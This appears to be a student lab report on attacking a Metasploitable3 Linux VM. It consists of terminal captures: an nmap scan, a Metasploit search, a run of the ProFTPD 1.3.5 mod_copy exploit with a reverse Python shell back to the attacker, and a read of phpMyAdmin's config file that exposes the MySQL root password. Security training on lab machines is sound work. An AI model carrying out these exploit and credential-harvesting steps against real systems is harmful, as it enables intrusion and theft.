

## LAB 06- Hacking LINUX

1. Screen capture the results of the NMap scan from step No. 3

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(kali㉿kali)-[~]
$ nmap -sV 192.168.255.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-12 21:34 EDT
Nmap scan report for 192.168.255.3
Host is up (0.00085s latency).
Not shown: 991 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          ProFTPD 1.3.5
22/tcp    open  ssh          OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.7
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631/tcp   open  ipp          CUPS 1.7
3000/tcp  closed ppp
3306/tcp  open  mysql        MySQL (unauthorized)
8080/tcp  open  http         Jetty 8.1.7.v20120910
8181/tcp  closed intermapper
MAC Address: 08:00:27:42:51:79 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: 127.0.0.1, METASPLOITABLE3-UB1404; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.07 seconds
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2. Screen capture the metasploit search from metasploit step No. 3

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Metasploit Documentation: https://docs.metasploit.com/
msf6 > search proftp

Matching Modules
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#  Name                                                                 Disclosure Date  Rank    Check  Desc
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0  exploit/linux/misc/netsupport_manager_agent                        2011-01-08     average No      NetS
upport Manager Agent Remote Buffer Overflow
1  exploit/windows/ftp/proftp_banner                                2009-08-25     normal  No      ProF
2.9 Banner Remote Buffer Overflow
2  exploit/linux/ftp/proftp_sreplace                                2006-11-26     great   Yes     ProF
TPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)
3  \ target: Automatic Targeting                                     .           .       .       .
4  \ target: Debug                                                  .           .       .       .
5  \ target: ProFTPD 1.3.0 (source install) / Debian 3.1            .           .       .       .
6  exploit/freebsd/ftp/proftp_telnet_iac                            2010-11-01     great   Yes     ProF
TPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
7  \ target: Automatic Targeting                                     .           .       .       .
8  \ target: Debug                                                  .           .       .       .
9  \ target: ProFTPD 1.3.2a Server (FreeBSD 8.0)                   .           .       .       .
10 exploit/linux/ftp/proftp_telnet_iac                             2010-11-01     great   Yes     ProF
TPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
11 \ target: Automatic Targeting                                     .           .       .       .
12 \ target: Debug                                                  .           .       .       .
13 \ target: ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1        .           .       .       .
14 \ target: ProFTPD 1_3_3a Server (Debian) - Squeeze Beta1 (Debug) .           .       .       .
15 \ target: ProFTPD 1.3.2c Server (Ubuntu 10.04)                 .           .       .       .
16 exploit/unix/ftp/proftpd_modcopy_exec                           2015-04-22     excellent Yes     ProF
TPD 1.3.5 Mod_Copy Command Execution
17 exploit/unix/ftp/proftpd_133c_backdoor                          2010-12-02     excellent No      ProF
TPD-1.3.3c Backdoor Command Execution

Interact with a module by name or index. For example info 17, use 17 or use exploit/unix/ftp/proftpd_133c_backdoor
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3. Screen capture the show options in metasploit from step No. 10

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payload => cmd/unix/reverse_python
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > show options

Module options (exploit/unix/ftp/proftpd_modcopy_exec):

  Name      Current Setting  Required  Description
  ---      -
  CHOST      CHOST             no        The local client address
  CPORT      CPORT             no        The local client port
  Proxies    Proxies            no        A proxy chain of format type:host:port[,type:host:port][ ... ]
  RHOSTS     RHOSTS            yes       The target host(s), see https://docs.metasploit.com/docs/using-
  t/basics/using-metasploit.html
  RPORT      RPORT             yes       HTTP port (TCP)
  RPORT_FTP  RPORT_FTP         yes       FTP port
  SITEPATH   SITEPATH           yes       Absolute writable website path
  SSL        SSL               no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  TARGETURI          yes       Base path to the website
  TMPPATH    TMPPATH           yes       Absolute writable path
  VHOST      VHOST             no        HTTP server virtual host

Payload options (cmd/unix/reverse_python):

  Name      Current Setting  Required  Description
  ---      -
  LHOST      LHOST            yes       The listen address (an interface may be specified)
  LPORT      LPORT            yes       The listen port
  SHELL      SHELL            yes       The system shell to use

Exploit target:

  Id  Name
  --  -
  0    ProFTPD 1.3.5

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/proftpd_modcopy_exec) > exploit
[-] Msf::OptionValidateError One or more options failed to validate: RHOSTS.
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set RPORT 80
RPORT => 80
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > exploit
[-] Msf::OptionValidateError One or more options failed to validate: RHOSTS.
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > Interrupt: use the 'exit' command to quit
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set RHOSTS 192.168.255.3
RHOSTS => 192.168.255.3
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4. Screen capture the completed exploit in metasploit from step No. 11

```
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > exploit
[*] Started reverse TCP handler on 192.168.255.10:4444
[*] 192.168.255.3:80 - 192.168.255.3:21 - Connected to FTP server
[*] 192.168.255.3:80 - 192.168.255.3:21 - Sending copy commands to FTP server
[*] 192.168.255.3:80 - Executing PHP payload /wYsfRL.php
[*] 192.168.255.3:80 - Deleted /var/www/html/wYsfRL.php
[*] Command shell session 1 opened (192.168.255.10:4444 -> 192.168.255.3:47669) at 2025-10-12 22:38:27 -0400

pwd
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5. Screen capture the config.inc.php with the root account password exposed from steps No. 13/14

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pwd
/var/www/html
whoami
www-data
ls
chat
drupal
payroll_app.php
phpmyadmin
cd phpmyadmin
cat config.inc.php
<?php
/*
 * Generated configuration file
 * Generated by: phpMyAdmin 3.5.8 setup script
 * Date: Mon, 20 Mar 2017 17:50:57 +0000
 */

/* Servers configuration */
$i = 0;

/* Server: metasploitable [1] */
$i++;
$cfg['Servers'][$i]['verbose'] = 'metasploitable';
$cfg['Servers'][$i]['host'] = '127.0.0.1';
$cfg['Servers'][$i]['port'] = '';
$cfg['Servers'][$i]['socket'] = '';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['extension'] = 'mysqli';
$cfg['Servers'][$i]['auth_type'] = 'cookie';
$cfg['Servers'][$i]['user'] = 'root';
$cfg['Servers'][$i]['password'] = 'sploitme';

/* End of servers configuration */

$cfg['blowfish_secret'] = '58d0142a394148.57231469';
$cfg['DefaultLang'] = 'en';
$cfg['ServerDefault'] = 1;
$cfg['UploadDir'] = '';
$cfg['SaveDir'] = '';
?>
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